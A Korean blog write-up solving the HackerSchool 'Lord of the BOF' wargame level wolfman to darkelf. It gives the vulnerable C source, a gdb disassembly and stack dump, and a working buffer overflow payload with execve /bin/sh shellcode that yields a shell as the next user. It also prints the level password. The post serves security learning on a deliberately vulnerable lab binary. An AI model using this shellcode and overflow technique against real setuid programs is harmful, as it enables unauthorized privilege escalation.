[lob] 해커스쿨 wolfman -> darkelf 풀이
- 보안/HackerSchool-lob
- 2020. 1. 16. 00:40
l 해커스쿨 wolfman 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
wolfman 문제의 아이디인 wolfman 와 password인 love eyuna 을 입력하여 wolfman의 유저로 접속합니다.
[wolfman@localhost wolfman]$ ls -l total 20 -rwsr-sr-x 1 darkelf darkelf 12655 Feb 26 2010 darkelf -rw-r--r-- 1 root root 721 Mar 29 2010 darkelf.c |
ls -l 명령어를 사용하여 현재 위치( /home/wolfman ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 darkelf.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[wolfman@localhost wolfman]$ cat darkelf.c /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } |
cat 명령어를 사용하여 darkelf.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.
힌트 코드를 분석해보겠습니다.
1. argv는 2 이상이어야 합니다.
2. 환경 변수를 사용할 수 없습니다.
3. argv[1]의 48번째는 "\xbf"이어야 합니다.
4. argv[1]의 길이는 48 이하여야 합니다.
5. buffer의 공간을 사용할 수 없습니다.
[wolfman@localhost wolfman]$ cp darkelf wolfman [wolfman@localhost wolfman]$ ls -l total 36 -rwsr-sr-x 1 darkelf darkelf 12655 Feb 26 2010 darkelf -rw-r--r-- 1 root root 721 Mar 29 2010 darkelf.c -rwsr-sr-x 1 wolfman wolfman 12655 Jan 14 12:25 wolfman |
문제를 풀기 전 퍼미션 문제 때문에 darkelf 파일을 복사해 wolfman이라는 이름의 파일을 하나 생성하였습니다.
[wolfman@localhost wolfman]$ gdb wolfman GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048503 <main+3>: sub $0x2c,%esp 0x8048506 <main+6>: cmpl $0x1,0x8(%ebp) 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push $0x8048670 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add $0x4,%esp 0x8048519 <main+25>: push $0x0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add $0x4,%esp 0x8048523 <main+35>: nop 0x8048524 <main+36>: movl $0x0,0xffffffd4(%ebp) 0x804852b <main+43>: nop 0x804852c <main+44>: lea 0x0(%esi,1),%esi 0x8048530 <main+48>: mov 0xffffffd4(%ebp),%eax 0x8048533 <main+51>: lea 0x0(,%eax,4),%edx 0x804853a <main+58>: mov 0x80497a4,%eax 0x804853f <main+63>: cmpl $0x0,(%eax,%edx,1) 0x8048543 <main+67>: jne 0x8048547 <main+71> 0x8048545 <main+69>: jmp 0x8048587 <main+135> 0x8048547 <main+71>: mov 0xffffffd4(%ebp),%eax 0x804854a <main+74>: lea 0x0(,%eax,4),%edx 0x8048551 <main+81>: mov 0x80497a4,%eax 0x8048556 <main+86>: mov (%eax,%edx,1),%edx 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 0x804855f <main+95>: add $0x4,%esp 0x8048562 <main+98>: mov %eax,%eax 0x8048564 <main+100>: push %eax 0x8048565 <main+101>: push $0x0 0x8048567 <main+103>: mov 0xffffffd4(%ebp),%eax 0x804856a <main+106>: lea 0x0(,%eax,4),%edx 0x8048571 <main+113>: mov 0x80497a4,%eax 0x8048576 <main+118>: mov (%eax,%edx,1),%edx 0x8048579 <main+121>: push %edx 0x804857a <main+122>: call 0x8048430 <strlen> 0x804857f <main+127>: add $0xc,%esp 0x8048582 <main+130>: incl 0xffffffd4(%ebp) 0x8048585 <main+133>: jmp 0x8048530 <main+48> 0x8048587 <main+135>: mov 0xc(%ebp),%eax 0x804858a <main+138>: add $0x4,%eax ---Type to continue, or q to quit--- 0x804858d <main+141>: mov (%eax),%edx 0x804858f <main+143>: add $0x2f,%edx 0x8048592 <main+146>: cmpb $0xbf,(%edx) 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push $0x804867c 0x804859c <main+156>: call 0x8048410 <printf> 0x80485a1 <main+161>: add $0x4,%esp 0x80485a4 <main+164>: push $0x0 0x80485a6 <main+166>: call 0x8048420 <exit> 0x80485ab <main+171>: add $0x4,%esp 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov 0xc(%ebp),%eax 0x80485b3 <main+179>: add $0x4,%eax 0x80485b6 <main+182>: mov (%eax),%edx 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: call 0x80483f0 <strlen> 0x80485be <main+190>: add $0x4,%esp 0x80485c1 <main+193>: mov %eax,%eax 0x80485c3 <main+195>: cmp $0x30,%eax 0x80485c6 <main+198>: jbe 0x80485e0 <main+224> 0x80485c8 <main+200>: push $0x8048699 0x80485cd <main+205>: call 0x8048410 <printf> 0x80485d2 <main+210>: add $0x4,%esp 0x80485d5 <main+213>: push $0x0 0x80485d7 <main+215>: call 0x8048420 <exit> 0x80485dc <main+220>: add $0x4,%esp 0x80485df <main+223>: nop 0x80485e0 <main+224>: mov 0xc(%ebp),%eax 0x80485e3 <main+227>: add $0x4,%eax 0x80485e6 <main+230>: mov (%eax),%edx 0x80485e8 <main+232>: push %edx 0x80485e9 <main+233>: lea 0xffffffd8(%ebp),%eax 0x80485ec <main+236>: push %eax 0x80485ed <main+237>: call 0x8048440 <strcpy> 0x80485f2 <main+242>: add $0x8,%esp 0x80485f5 <main+245>: lea 0xffffffd8(%ebp),%eax 0x80485f8 <main+248>: push %eax 0x80485f9 <main+249>: push $0x80486b0 0x80485fe <main+254>: call 0x8048410 <<printf> 0x8048603 <main+259>: add $0x8,%esp 0x8048606 <main+262>: push $0x28 0x8048608 <main+264>: push $0x0 0x804860a <main+266>: lea 0xffffffd8(%ebp),%eax ---Type to continue, or q to quit--- 0x804860d <main+269>: push %eax 0x804860e <main+270>: call 0x8048430 <memset> 0x8048613 <main+275>: add $0xc,%esp 0x8048616 <main+278>: leave 0x8048617 <main+279>: ret 0x8048618 <main+280>: nop 0x8048619 <main+281>: nop 0x804861a <main+282>: nop 0x804861b <main+283>: nop 0x804861c <main+284>: nop 0x804861d <main+285>: nop 0x804861e <main+286>: nop 0x804861f <main+287>: nop End of assembler dump. |
wolfman 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x8048503 <main+3>: sub $0x2c,%esp
0x2c을 십진수로 변환하면 44입니다. 위의 코드는 스택에 44byte의 영역을 할당하는 것을 의미합니다.
2. 0x80485ed <main+237>: call 0x8048440 <strcpy>
darkelf.c 코드상에서 strcpy 부분을 보면 buffer에 argv[1]의 문자열을 대입하고 있습니다. 스택에 인자가 push 되는 순서는 argv[1]가 먼저 push 되고, 그다음 buffer가 push 됩니다. 따라서 <main + 233>의 ebp - [0xffffffd8의 2의 보수 취한 값]이 buffer의 시작 위치가 됩니다.
011011000 => 00100111 => 00101000 = 8 + 32 = 40
buffer의 시작 지점이 esp - 40부터인 것을 알 수 있습니다.
메모리 구조를 보면 아래와 같습니다.
buffer가 main함수에서 초기화되기 때문에 앞의 문제와 동일하게 argv[2]에 셸 코드를 넣어서 return을 argv[2]로 해주겠습니다.
(gdb) b *main+242 Breakpoint 1 at 0x80485f2 (gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'` Starting program: /home/wolfman/wolfman `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'` Breakpoint 1, 0x80485f2 in main () (gdb) x/100x $esp 0xbffffa84: 0xbffffa90 0xbffffc0e 0x00000013 0x41414141 0xbffffa94: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffab4: 0x41414141 0x41414141 0xbf414141 0x00000000 0xbffffac4: 0xbffffb04 0xbffffb14 0x40013868 0x00000003 0xbffffad4: 0x08048450 0x00000000 0x08048471 0x08048500 0xbffffae4: 0x00000003 0xbffffb04 0x08048390 0x0804864c 0xbffffaf4: 0x4000ae60 0xbffffafc 0x40013e90 0x00000003 0xbffffb04: 0xbffffbf8 0xbffffc0e 0xbffffc3f 0x00000000 0xbffffb14: 0xbffffca4 0xbffffcc6 0xbffffcd0 0xbffffcde 0xbffffb24: 0xbffffcfd 0xbffffd0d 0xbffffd26 0xbffffd43 0xbffffb34: 0xbffffd4e 0xbffffd5c 0xbffffd9f 0xbffffdb2 0xbffffb44: 0xbffffdc7 0xbffffdd7 0xbffffde4 0xbffffe03 0xbffffb54: 0xbffffe0e 0xbffffe1b 0xbffffe23 0x00000000 0xbffffb64: 0x00000003 0x08048034 0x00000004 0x00000020 0xbffffb74: 0x00000005 0x00000006 0x00000006 0x00001000 0xbffffb84: 0x00000007 0x40000000 0x00000008 0x00000000 0xbffffb94: 0x00000009 0x08048450 0x0000000b 0x000001f9 0xbffffba4: 0x0000000c 0x000001f9 0x0000000d 0x000001f9 0xbffffbb4: 0x0000000e 0x000001f9 0x00000010 0x0f8bfbff 0xbffffbc4: 0x0000000f 0xbffffbf3 0x00000000 0x00000000 0xbffffbd4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbe4: 0x00000000 0x00000000 0x00000000 0x69000000 0xbffffbf4: 0x00363836 0x6d6f682f 0x6f772f65 0x616d666c 0xbffffc04: 0x6f772f6e 0x616d666c 0x4141006e 0x41414141 (gdb) 0xbffffc14: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc24: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc34: 0x41414141 0x41414141 0x4200bf41 0x42424242 0xbffffc44: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc54: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc64: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc74: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc84: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc94: 0x42424242 0x42424242 0x42424242 0x00424242 0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000 |
argv[1]에는 "A" 47개와 \xbf를 넣어주었고, argv[2]에는 "B" 100개를 넣어주어 argv[2]의 시작 지점을 찾아보았습니다. 빨간색 부분이 argv[2]의 시작 위치이고, 0xbffffc3c 입니다.
페이로드를 구성해보겠습니다. buffer는 ebp - 40부터 시작되므로 buffer와 sfp까지 총 44byte를 \x90으로 채우고, return 부분을 argv[2]의 시작 주소로, argv[2]를 셸 코드로 채우면 될 것입니다.
| 페이로드
./darkelf `python -c 'print "\x90"*44+"\x3c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[wolfman@localhost wolfman]$ bash2 [wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*44+"\x3c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` <üÿ¿ bash$ id uid=506(darkelf) gid=505(wolfman) egid=506(darkelf) groups=505(wolfman) bash$ my-pass euid = 506 kernel crashed |
bash2를 입력 후 위의 페이로드를 넣어보니 uid가 darkelf으로 나오며 셸을 취득할 수 있었습니다. 셸 취득 후 my-pass를 입력하게 되면 darkelf user의 password를 알 수 있습니다.
l darkelf 비밀번호
euid = 506
kernel crashed
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 troll -> vampire 풀이 (0) | 2020.01.18 |
---|---|
[lob] 해커스쿨 orge -> troll 풀이 (0) | 2020.01.17 |
[lob] 해커스쿨 orc -> wolfman 풀이 (0) | 2020.01.14 |
[lob] 해커스쿨 goblin -> orc 풀이 (0) | 2020.01.14 |
[lob] 해커스쿨 cobolt -> goblin 풀이 (0) | 2020.01.12 |
이 글을 공유하기